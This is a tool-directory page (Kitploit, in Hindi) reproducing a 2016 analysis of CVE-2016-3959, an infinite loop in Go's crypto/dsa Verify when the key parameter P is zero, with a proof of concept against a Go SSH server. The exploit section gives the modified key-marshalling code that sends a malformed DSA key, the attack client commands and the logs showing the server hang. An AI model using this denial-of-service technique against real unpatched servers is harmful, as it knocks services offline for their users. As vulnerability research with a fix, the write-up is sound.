Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
dsa — CVE-2016-3959 का विश्लेषण और एक Go SSH सर्वर के विरुद्ध प्रूफ ऑफ कॉन्सेप्ट हमला | Kitploit
उपकरण/GitHubGitHub/alexmullins/dsa
भेद्यता विश्लेषणशोषणक्रिप्टोग्राफीपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubalexmullins/dsa

dsa

CVE-2016-3959 का विश्लेषण और एक Go SSH सर्वर के विरुद्ध प्रूफ ऑफ कॉन्सेप्ट हमला

रिपॉजिटरी देखें
11210 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Go के crypto/dsa कमजोरी (CVE-2016-3959) का सारांश

Alex Mullins

9 अप्रैल, 2016


परिचय

हाल ही में, Go प्रोग्रामिंग भाषा के लिए Digital Signature Algorithm (DSA) क्रिप्टो लाइब्रेरी में एक बग खोजा गया था। इस लेख में हम बग के विवरण और यह देखेंगे कि कैसे एक हमलावर इसका उपयोग करके एक मानक Go SSH सर्वर के खिलाफ सेवा अस्वीकार हमला शुरू कर सकता है जो क्लाइंट को प्रमाणित करने के लिए अंतर्निहित DSA लाइब्रेरी का उपयोग करता है।

इस कमजोरी का पहला उल्लेख Open Source Security (oss-sec) मेलिंग लिस्ट पर एक पोस्ट में दिखाई दिया: http://seclists.org/oss-sec/2016/q2/11।

Go में कई बड़े पूर्णांक रूटीन में एक अनंत लूप है जो Go प्रोग्राम को रिमोट सेवा अस्वीकार हमलों के प्रति संवेदनशील बनाता है। HTTPS क्लाइंट प्रमाणीकरण या Go ssh सर्वर लाइब्रेरी का उपयोग करने वाले प्रोग्राम इस कमजोरी के संपर्क में हैं। इसका समाधान निम्नलिखित CL में किया जा रहा है: https://golang.org/cl/21533

-- Jason Buberel

संक्षेप में, यदि इस कमजोरी का शोषण किया जाता है, तो यह अंतर्निहित BigNum लाइब्रेरी कोड में एक अनंत लूप का कारण बन सकता है। यह CPU और मेमोरी के संदर्भ में सिस्टम संसाधनों को खा जाएगा और अंततः प्रोग्राम या सिस्टम को स्वयं अनुत्तरदायी बना सकता है।

उपरोक्त कथन कहता है कि SSH के साथ-साथ HTTPS क्लाइंट प्रमाणीकरण प्रभावित हैं, लेकिन Go के crypto/tls और net/http पैकेजों को देखने के बाद ऐसा लगता है कि यह गलत है। HTTPS क्लाइंट प्रमाणीकरण केवल RSA या ECDSA हस्ताक्षर योजनाओं का उपयोग कर सकता है, DSA का नहीं। नीचे देखें। यदि मैं इस बारे में गलत हूं तो कृपया मुझे बताएं।

https://golang.org/pkg/crypto/tls/#Certificate

root@kitploit:~
type Certificate struct {
        Certificate [][]byte
        // PrivateKey contains the private key corresponding to the public key
        // in Leaf. For a server, this must implement crypto.Signer and/or
        // crypto.Decrypter, with an RSA or ECDSA PublicKey. For a client
        // (performing client authentication), this must be a crypto.Signer
        // with an RSA or ECDSA PublicKey.
        PrivateKey crypto.PrivateKey

        ... other fields
}

उस पोस्ट के oss-sec मेलिंग लिस्ट पर दिखाई देने के तुरंत बाद, एक CVE नंबर जारी किया गया: CVE-2016-3959। Go अनुरक्षकों के पास इसके लिए एक फिक्स तैयार है और यह संस्करण 1.5.4 और 1.6.1 में दिखाई देगा जो बुधवार, 13 अप्रैल, 2016 को जारी किए जाएंगे; https://groups.google.com/forum/#!topic/golang-nuts/MmSbFHLPo8g।

इस लेख में कोड नमूनों के साथ अनुसरण करने के लिए आपको Go संस्करण 1.6 स्थापित करना होगा। https://golang.org/doc/install पर दिए गए निर्देशों का पालन करें। यदि आप इस दस्तावेज़ और कोड नमूनों को डाउनलोड करना चाहते हैं तो आपको Git भी स्थापित करना होगा। https://git-scm.com/book/en/v2/Getting-Started-Installing-Git पर दिए गए निर्देशों का पालन करें। रिपॉजिटरी को क्लोन करने के लिए टर्मिनल में निम्नलिखित कमांड जारी करें:

root@kitploit:~
$ go get github.com/alexmullins/dsa

यह रिपॉजिटरी को आपके Go वर्कस्पेस में क्लोन करेगा।

अगला भाग कमजोरी के विवरण को कवर करेगा।

दोष

तो वास्तव में क्या गलत है? इसका उत्तर देने के लिए, किसी को oss-sec मेलिंग लिस्ट पर मूल घोषणा पर वापस जाना होगा। समस्या के सामान्य स्पष्टीकरण और https://golang.org/cl/21533 पर कोड फिक्स के लिंक के अलावा वहां ज्यादा जानकारी नहीं है। उस परिवर्तन के लिए कमिट संदेश में निम्नलिखित है:

crypto/dsa: invalid PublicKey को जल्दी हटाएं

PublicKey.P == 0 के लिए, Verify विफल होगा। कोशिश भी न करें।

--- Robert Griesemer

और फिक्स्ड कोड:

https://github.com/golang/go/blob/master/src/crypto/dsa/dsa.go#L247

root@kitploit:~
// Verify verifies the signature in r, s of hash using the public key, pub. It
// reports whether the signature is valid.
//
// Note that FIPS 186-3 section 4.6 specifies that the hash should be truncated
// to the byte-length of the subgroup. This function does not perform that
// truncation itself.
func Verify(pub *PublicKey, hash []byte, r, s *big.Int) bool {
    // FIPS 186-3, section 4.7

    // Code fix added to check if the key parameters are sensible.
    if pub.P.Sign() == 0 {
        return false
    }

    if r.Sign() < 1 || r.Cmp(pub.Q) >= 0 {
        return false
    }
    if s.Sign() < 1 || s.Cmp(pub.Q) >= 0 {
        return false
    }

    w := new(big.Int).ModInverse(s, pub.Q)

    n := pub.Q.BitLen()
    if n&7 != 0 {
        return false
    }
    z := new(big.Int).SetBytes(hash)

    u1 := new(big.Int).Mul(z, w)
    u1.Mod(u1, pub.Q)
    u2 := w.Mul(r, w)
    u2.Mod(u2, pub.Q)
    v := u1.Exp(pub.G, u1, pub.P)
    u2.Exp(pub.Y, u2, pub.P)
    v.Mul(v, u2)
    v.Mod(v, pub.P)
    v.Mod(v, pub.Q)

    return v.Cmp(r) == 0
}

उपरोक्त कमिट संदेश और कोड फिक्स को संक्षेप में: Go 1.6 और पिछले संस्करणों में crypto/dsa पैकेज के Verify फ़ंक्शन में एक बग है। यदि कोई पब्लिक की पैरामीटर P को 0 पर सेट करके Verify को कॉल करता है, तो यह Verify फ़ंक्शन में आगे के एक स्टेटमेंट में अनंत लूप का कारण बनेगा।

DSA को समझाने के लिए एक संक्षिप्त विषयांतर। DSA एक डिजिटल हस्ताक्षर एल्गोरिदम है जो एक संदेश पर हस्ताक्षर करने के लिए असममित क्रिप्टोग्राफी का उपयोग करता है, जिसका उपयोग बाद में यह गारंटी देने के लिए किया जा सकता है कि संदेश वास्तव में प्रेषक/निजी कुंजी धारक द्वारा भेजा गया था। एक सरल उदाहरण, एलिस बॉब को एक संदेश भेजती है जो उसे बताती है कि उन्हें लंच के लिए कहाँ और कब मिलना चाहिए। हालांकि, बॉब यह सुनिश्चित करना चाहता है कि संदेश वास्तव में एलिस ने भेजा है न कि किसी और ने। इसके लिए एलिस अपनी निजी कुंजी से संदेश पर हस्ताक्षर करेगी और बॉब बॉब द्वारा ज्ञात एलिस की सार्वजनिक कुंजी से एलिस के हस्ताक्षर को सत्यापित कर सकता है। निजी कुंजी धारक के अलावा कोई भी ऐसे संदेश पर हस्ताक्षर नहीं कर सकता जिसे बाद में संबंधित सार्वजनिक कुंजी द्वारा सत्यापित किया जा सके (कम से कम विचार यही है)।

काम करने के लिए, DSA को 5 बड़ी संख्याओं की आवश्यकता होती है। पहली 3 संख्याएं DSA पैरामीटर P, Q, और G के रूप में जानी जाती हैं। ये अंतर्निहित समूह और समूह जनरेटर को परिभाषित करती हैं। इन संख्याओं को dsa.GenerateParameters() पर कॉल करके ठीक से बनाया जा सकता है।

root@kitploit:~
type Parameters struct {
        P, Q, G *big.Int
}

DSA के लिए आवश्यक अंतिम दो संख्याएं निजी कुंजी X और संबंधित सार्वजनिक कुंजी Y हैं। इन संख्याओं को dsa.GenerateKey() पर कॉल करके भी बनाया जा सकता है।

root@kitploit:~
type PrivateKey struct {
        PublicKey
        X *big.Int
}

type PublicKey struct {
        Parameters
        Y *big.Int
}

DSA के बारे में अनुसरण करने के लिए आपको बस इतना ही जानना आवश्यक है। अधिक जानकारी के लिए NIST मानक देखें: http://csrc.nist.gov/publications/fips/fips186-3/fips_186-3.pdf या विकिपीडिया पृष्ठ: https://en.wikipedia.org/wiki/Digital_Signature_Algorithm।

विषय पर वापस आते हैं; Verify फ़ंक्शन में अनंत लूप कहाँ है? थोड़ी और खोजबीन करने पर आप पाएंगे कि कोड यहाँ अटक जाता है:

root@kitploit:~
v := u1.Exp(pub.G, u1, pub.P)

यह Exp() विधि के लिए टिप्पणी है:

root@kitploit:~
// Exp sets z = x**y mod |m| (i.e. the sign of m is ignored), and returns z.
// If y <= 0, the result is 1 mod |m|; if m == nil or m == 0, z = x**y.
// See Knuth, volume 2, section 4.6.3.
func (z *Int) Exp(x, y, m *Int) *Int {

उपरोक्त से, आप देख सकते हैं कि टिप्पणी निर्दिष्ट करती है कि जब m == 0 होता है तो यह मॉड्यूलर रिडक्शन के बिना घातांक करेगा। जब आप एक बड़ी संख्या लेते हैं और इसे दूसरी बड़ी संख्या के साथ घातांकित करते हैं तो परिणाम भी एक REALLY BIG संख्या होगी। मैं math/big के काम करने के तरीके से बहुत परिचित नहीं हूं, लेकिन मुझे लगता है कि यहाँ यही हो रहा है। Exp() इस घातांक पर काम कर रहा है जिसे पूरा होने में बहुत, बहुत लंबा समय लगेगा (अनंत के बराबर हो सकता है)।

यहाँ dsa.Verify() call में Exp() को उपयोग किए जा रहे कुछ नमूना संख्याएं हैं जो नीचे दिए गए परीक्षण कोड से एकत्र की गई हैं:

root@kitploit:~
x = 87134495734400160760614045850064869082246125869475484226357302998590334523718907040547736115253396811403341841812955872027275698952059512800196447089300992352859585665865224989740
07948775031938554271780506269767106717359222697821209685947889925442133804051298762702245652821695254167558015585995918548052076 (307 digits)

y = 751336012463178371212581620103057049388105279629 (48 digits)

z = x ^ y

Wolfram Alpha का उपयोग करके, कोई इस z संख्या के आकार का अंदाजा लगा सकता है। परिणामी संख्या z में "113406800566837208055789635448879116719378036793444 या 1.13407x10^50 दशमलव अंक" हैं। (नोट: Wolfram Alpha पर वेब इनपुट बॉक्स में x के केवल अग्रणी 150 अंकों को y की घात तक बढ़ाया जा सका, इसलिए अंकों की वास्तविक संख्या और भी अधिक है!) पैमाने का अंदाजा देने के लिए: वैज्ञानिक ब्रह्मांड में परमाणुओं की संख्या 10^78 से 10^82 के करीब अनुमानित करते हैं http://www.universetoday.com/36302/atoms-in-the-universe/।

DSA हस्ताक्षर/सत्यापन का उदाहरण परीक्षण:

root@kitploit:~
func generatePrivKey(t *testing.T) *dsa.PrivateKey {
    // Create the DSA parameters
    params := dsa.Parameters{}
    err := dsa.GenerateParameters(&params, rand.Reader, dsa.L1024N160)
    if err != nil {
        t.Fatalf("failed to generate dsa parameters: %v", err)
    }

    // Create the DSA private/public keys
    priv := new(dsa.PrivateKey)
    priv.Parameters = params
    err = dsa.GenerateKey(priv, rand.Reader)
    if err != nil {
        t.Fatalf("failed to generate dsa keys: %v", err)
    }
    return priv
}

func TestDSASignature(t *testing.T) {
    var message = "Hello brave new world!"
    var hash = sha1.Sum([]byte(message))
    var err error

    priv := generatePrivKey(t)

    // Sign a message
    r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
    if err != nil {
        t.Fatalf("failed to sign message: %v", err)
    }

    if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
        t.Fatalf("failed to verify message: %v", err)
    }
}
root@kitploit:~
$ go test
PASS
ok      github.com/alexmullins/dsa    0.224s

P को 0 पर सेट करने का उदाहरण परीक्षण:

root@kitploit:~
func TestDSAPanic(t *testing.T) {
    flag.Parse()
    if !*fail {
        t.Skip()
    }

    var message = "Hello brave new world!"
    var hash = sha1.Sum([]byte(message))
    var err error

    priv := generatePrivKey(t)

    // Sign a message
    r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
    if err != nil {
        t.Fatalf("failed to sign message: %v", err)
    }

    // Set P = 0
    priv.P = new(big.Int).SetInt64(0)

    if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
        t.Fatalf("failed to verify message: %v", err)
    }
}
root@kitploit:~
$ go test -fail

ध्यान दें कि यह अंतिम परीक्षण कॉल हैंग हो जाएगा।

शोषण

कोई इसका शोषण कैसे कर सकता है? यदि कोई हमलावर किसी सर्वर को हस्ताक्षर सत्यापित करने के लिए एक विकृत DSA कुंजी को स्वीकार करने और उपयोग करने में सक्षम बनाता है, तो वह सर्वर को एक बड़ी घातांक समस्या पर काम करने में फंसा सकता है जिससे सेवा अस्वीकार (DOS) हो सकती है। चूंकि SSH अपने क्लाइंट प्रमाणीकरण प्रोटोकॉल में DSA का उपयोग एक हस्ताक्षर योजना के रूप में करता है, इसलिए यह इस शोषण को आजमाने के लिए एक आदर्श सर्वर उम्मीदवार प्रतीत होता है। आइए एक ऐसे परिदृश्य की कल्पना करें जिसमें ऐसा हो सकता है।

एक छोटा Git होस्टिंग प्रदाता अपने उपयोगकर्ताओं को अपनी सेवा में SSH कुंजियों से प्रमाणित करने की अनुमति देता है और उनका SSH सर्वर Go में कोडित है। इस सेवा को डाउन करने के लिए एक हमलावर कई नकली खाते बना सकता है और SSH प्रमाणीकरण में उपयोग के लिए विकृत DSA कुंजियाँ अपलोड कर सकता है। इन सभी कुंजियों का पैरामीटर P 0 पर सेट होगा। एक हमलावर फिर सर्वर पर ऐसे सैकड़ों SSH क्लाइंट कनेक्शन शुरू कर सकता है जिससे सिस्टम संसाधन लॉक हो जाएंगे और प्रभावी DOS हो सकता है।

आइए उस परिदृश्य का परीक्षण करें।

सर्वर

सर्वर एक सरल SSH सर्वर है जो सत्र अनुरोध स्वीकार करता है और कनेक्शन पर वर्तमान समय प्रिंट करता है। github.com/jpillora का धन्यवाद जिन्होंने https://gist.github.com/jpillora/b480fde82bff51a06238 पर यह नमूना सर्वर कोड प्रदान किया। पासवर्ड कॉलबैक के बजाय पब्लिक की ऑथेंटिकेशन की अनुमति देने के लिए कोड में कुछ समायोजन किए गए।

root@kitploit:~
config := &ssh.ServerConfig{
    // Accept all authentication requests
    PublicKeyCallback: func(c ssh.ConnMetadata, key ssh.PublicKey) (*ssh.Permissions, error) {
        return nil, nil
    },
}

यह सभी पब्लिक की प्रमाणीकरण अनुरोधों को स्वीकार करेगा। कल्पना करें कि एक वास्तविक सेवा यह निर्धारित करने के लिए डेटाबेस से पूछताछ कर रही है कि किसी विशेष उपयोगकर्ता के खाते में यह पब्लिक की पंजीकृत है या नहीं। सर्वर एक बहुत ही सामान्य Go सर्वर जैसा दिखता है जो एक पोर्ट पर सुनना शुरू करता है और आने वाले कनेक्शनों को स्वीकार करता है।

root@kitploit:~
// Once a ServerConfig has been configured, connections can be accepted.
listener, err := net.Listen("tcp", *addr)
if err != nil {
    log.Fatalf("Failed to listen on %s: %s", *addr, err)
}

// Accept all connections
log.Println("Listening on", *addr)
for {
    tcpConn, err := listener.Accept()
    if err != nil {
        log.Printf("Failed to accept incoming connection (%s)", err)
        return
    }
    log.Printf("Accepted an incoming TCP connection from %s", tcpConn.RemoteAddr())
    if *p {
        go makeSSHConn(tcpConn, config)
    } else {
        makeSSHConn(tcpConn, config)
    }

}

func makeSSHConn(conn net.Conn, config *ssh.ServerConfig) {
    // Before use, a handshake must be performed on the incoming net.Conn.
    sshConn, chans, reqs, err := ssh.NewServerConn(conn, config)
    if err != nil {
        log.Printf("Failed to handshake (%s)", err)
        return
    }

    log.Printf("New SSH connection from %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion())
    // Discard all global out-of-band Requests
    go ssh.DiscardRequests(reqs)
    // Accept all channels
    go handleChannels(chans)
}

ध्यान देने वाली एक बात if *p जाँच है। यह -p फ्लैग से मेल खाता है और नियंत्रित करता है कि सर्वर SSH हैंडशेक मुख्य गोरूटीन पर करता है या पृष्ठभूमि गोरूटीन पर। कई ऑनलाइन उदाहरण पूर्व का उपयोग करते हैं। -p फ्लैग बाद में हमले वाले भाग में नेटवर्क सर्वर के प्रदर्शन पर एक अवरोधक संचालन के अंतर को दिखाएगा।

क्लाइंट

क्लाइंट कोड थोड़ा अधिक शामिल है। इसमें एक विकृत DSA कुंजी भेजने की अनुमति देने के लिए Go SSH लाइब्रेरी कोड में संशोधन की आवश्यकता है। SSH लाइब्रेरी को क्लाइंट पैकेज में वेंडर किया गया है। ध्यान दें कि सर्वर कोड 100% अपरिवर्तित है और वर्कस्पेस से नियमित golang.org/x/crypto/ssh पैकेज आयात करता है।

क्लाइंट दो अलग-अलग मोड में काम करता है जो -attack नामक कमांड लाइन फ्लैग द्वारा नियंत्रित होते हैं। जब क्लाइंट सामान्य रूप से शुरू होता है, तो यह सर्वर के लिए एक नियमित SSH कनेक्शन बनाएगा और हर कुछ सेकंड में सर्वर का समय पढ़ना शुरू करेगा। लेकिन जब -attack फ्लैग मौजूद होता है, तो क्लाइंट सर्वर को एक विकृत DSA पब्लिक की के साथ एक प्रमाणीकरण अनुरोध भेजेगा। कोड के प्रासंगिक भाग:

root@kitploit:~
func init() {
    flag.Parse()
    if *attack {
        ssh.Attack = true
    }
    if *key == "" {
        log.Fatalln("must provide a auth key.")
    }
}

ध्यान दें कि वेंडर किए गए SSH पैकेज में एक नया वेरिएबल ssh.Attack बनाया गया था और जब -attack फ्लैग मौजूद होता है तो true पर सेट होता है। ssh.Attack P पैरामीटर को 0 से बदलने के लिए SSH पैकेज के DSA पब्लिक की मार्शलिंग कोड को बदलता है। आप वेंडर किए गए SSH पैकेज में attack.go और keys.go फाइलों में ये दोनों परिवर्तन पा सकते हैं।

root@kitploit:~
// attack.go
var (
    // Attack should be set to true to send a malformed DSA key.
    Attack = false
)

// keys.go
func (k *dsaPublicKey) Marshal() []byte {
    x := k.P
    if Attack {
        x = big.NewInt(0)
    }
    w := struct {
        Name       string
        P, Q, G, Y *big.Int
    }{
        k.Type(),
        x,
        k.Q,
        k.G,
        k.Y,
    }

    return Marshal(&w)
}

हमला

हमले का अलग-अलग प्रभाव होता है, यह इस बात पर निर्भर करता है कि सर्वर को -p फ्लैग के साथ शुरू किया गया है या नहीं।

सर्वर बनाने के लिए, सर्वर डायरेक्टरी में cd करें और चलाएं: go build -o server . क्लाइंट के लिए भी ऐसा ही करें: go build -o client . सर्वर और क्लाइंट data डायरेक्टरियों में परीक्षण RSA और DSA कुंजियाँ हैं। यदि आप नई बनाना चाहते हैं, तो ssh-keygen का उपयोग करें।

सर्वर - मुख्य गोरूटीन

यदि सर्वर को -p फ्लैग के बिना शुरू किया गया था, तो एक हमलावर क्लाइंट पूरी तरह से सर्वर को फ्रीज कर सकता है और कोई भी नया कनेक्शन स्वीकार नहीं किया जा सकता है। ऐसा इसलिए है क्योंकि ssh.NewServerConn() पर कॉल मुख्य गोरूटीन पर चलता है और क्लाइंट प्रमाणीकरण के लिए dsa.Verify() कॉल में फंस जाता है, जिससे आगे के listener.Accept() कॉल ब्लॉक हो जाते हैं। नेटवर्क सर्वर लिखते समय, एक्सेप्ट लूप को प्रतिक्रियाशील रखना और किसी भी अवरोधक संचालन को पृष्ठभूमि गोरूटीन में धकेलना महत्वपूर्ण है।

सर्वर को सामान्य रूप से शुरू करें:

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:30:27 Listening on localhost:8022

दूसरे टर्मिनल में सामान्य रूप से एक क्लाइंट शुरू करें जो सर्वर को प्रमाणीकरण के लिए एक सही DSA कुंजी भेजेगा:

root@kitploit:~
$ ./client -key=./data/id_dsa
2016/04/13 07:31:31 connected
Wed Apr 13 07:31:34 CDT 2016
Wed Apr 13 07:31:37 CDT 2016

सर्वर पर वापस जाएं और देखें कि उसने TCP कनेक्शन स्वीकार कर लिया है और एक SSH कनेक्शन बनाया है:

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from 127.0.0.1:63516
2016/04/13 07:31:31 New SSH connection from 127.0.0.1:63516 (SSH-2.0-Go)

अब दूसरे टर्मिनल में एक हमलावर क्लाइंट शुरू करने का समय है। यह वही DSA कुंजी भेजेगा जो एक सामान्य क्लाइंट भेजता है, लेकिन P पैरामीटर 0 पर सेट होगा:

root@kitploit:~
$ ./client -key=./data/id_dsa -attack

ध्यान दें कि क्लाइंट 'connected' संदेश के बिना बस हैंग हो जाता है और सर्वर के समय के कोई लॉग नहीं हैं। सर्वर ने SSH कनेक्शन बनाने का लॉग भी नहीं किया, लेकिन उसने TCP कनेक्शन स्वीकार कर लिया। सर्वर अब dsa.Verify() पर कॉल पर अटक गया है:

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from 127.0.0.1:63516
2016/04/13 07:31:31 New SSH connection from 127.0.0.1:63516 (SSH-2.0-Go)
2016/04/13 07:33:36 Accepted an incoming TCP connection from 127.0.0.1:63521

एक और सामान्य क्लाइंट कनेक्ट करने का प्रयास करें; यह अब कनेक्ट होने से भी रोका गया है:

root@kitploit:~
$ ./client -key=./data/id_dsa

मूल क्लाइंट अभी भी सर्वर से प्रतिक्रिया प्राप्त करने में सक्षम है, हालांकि।

सर्वर - पृष्ठभूमि गोरूटीन

यदि सर्वर को -p फ्लैग के साथ शुरू किया गया था, तो यह अभी भी नियमित क्लाइंट कनेक्शन स्वीकार कर सकता है क्योंकि हमलावर के SSH कनेक्शन मुख्य गोरूटीन पर एक्सेप्ट लूप को अवरुद्ध करने के बजाय पृष्ठभूमि गोरूटीन में बंधे हुए हैं। यह तत्काल DOS की ओर नहीं ले जाता है, लेकिन लगातार सर्वर के CPU और मेमोरी संसाधनों को खाता रहेगा, जिससे धीमी मृत्यु होगी।

आइए सर्वर को फिर से शुरू करें, लेकिन इस बार -p फ्लैग के साथ:

root@kitploit:~
$ ./sshd -key=./data/id_rsa -p
2016/04/13 07:38:07 Listening on localhost:8022

अब पहले की तरह एक हमलावर क्लाइंट शुरू करें:

root@kitploit:~
$ ./client -key=./data/id_dsa -attack

ध्यान दें कि सर्वर ने फिर से SSH कनेक्शन बनाने का लॉग नहीं किया, लेकिन आइए एक नियमित क्लाइंट कनेक्ट करने का प्रयास करें:

root@kitploit:~
$ ./client -key=./data/id_dsa
2016/04/13 07:42:06 connected
Wed Apr 13 07:42:09 CDT 2016
Wed Apr 13 07:42:12 CDT 2016

यह कनेक्ट होता है! लेकिन एक हमलावर को बस कुछ और दुर्भावनापूर्ण क्लाइंट कनेक्शन शुरू करने की आवश्यकता होगी और सर्वर का CPU और RAM उपयोग बढ़ जाएगा। 4 हमलावर क्लाइंट के साथ मैं ~400% CPU और 1GB RAM उपयोग प्राप्त करने में सक्षम था, इससे पहले कि मेरा लैपटॉप थोड़ा गर्म होने के कारण रुक गया। सामान्य परिस्थितियों में सर्वर से जुड़े केवल 2 सामान्य क्लाइंट के साथ मेरा CPU लगभग 0.2% और RAM उपयोग 5-6MB था। काफी अंतर है।

निष्कर्ष

निष्कर्ष में, इस कमजोरी का उपयोग सेवा अस्वीकार करने के लिए किया जा सकता है। उपरोक्त परिदृश्य का उपयोग करते हुए, CVE स्कोर कैलकुलेटर https://nvd.nist.gov/CVSS/v2-calculator ने 3.5/10 का स्कोर दिया। कोई गोपनीयता या अखंडता प्रभाव नहीं हैं, केवल आंशिक/पूर्ण उपलब्धता प्रभाव है।

godoc.org को देखने पर वर्तमान में 164 पैकेज हैं जो crypto/dsa आयात करते हैं, https://godoc.org/crypto/dsa?importers। सुरक्षा रिलीज़ में अपग्रेड करने की सिफारिश की जाती है जो https://golang.org/dl/ पर है।

कुल मिलाकर यह एक मजेदार सीखने का अनुभव था। यदि कोई गलतियाँ या सुधार किए जा सकते हैं, तो कृपया मुझे बताएं। पढ़ने के लिए धन्यवाद।

टूल डाउनलोड करें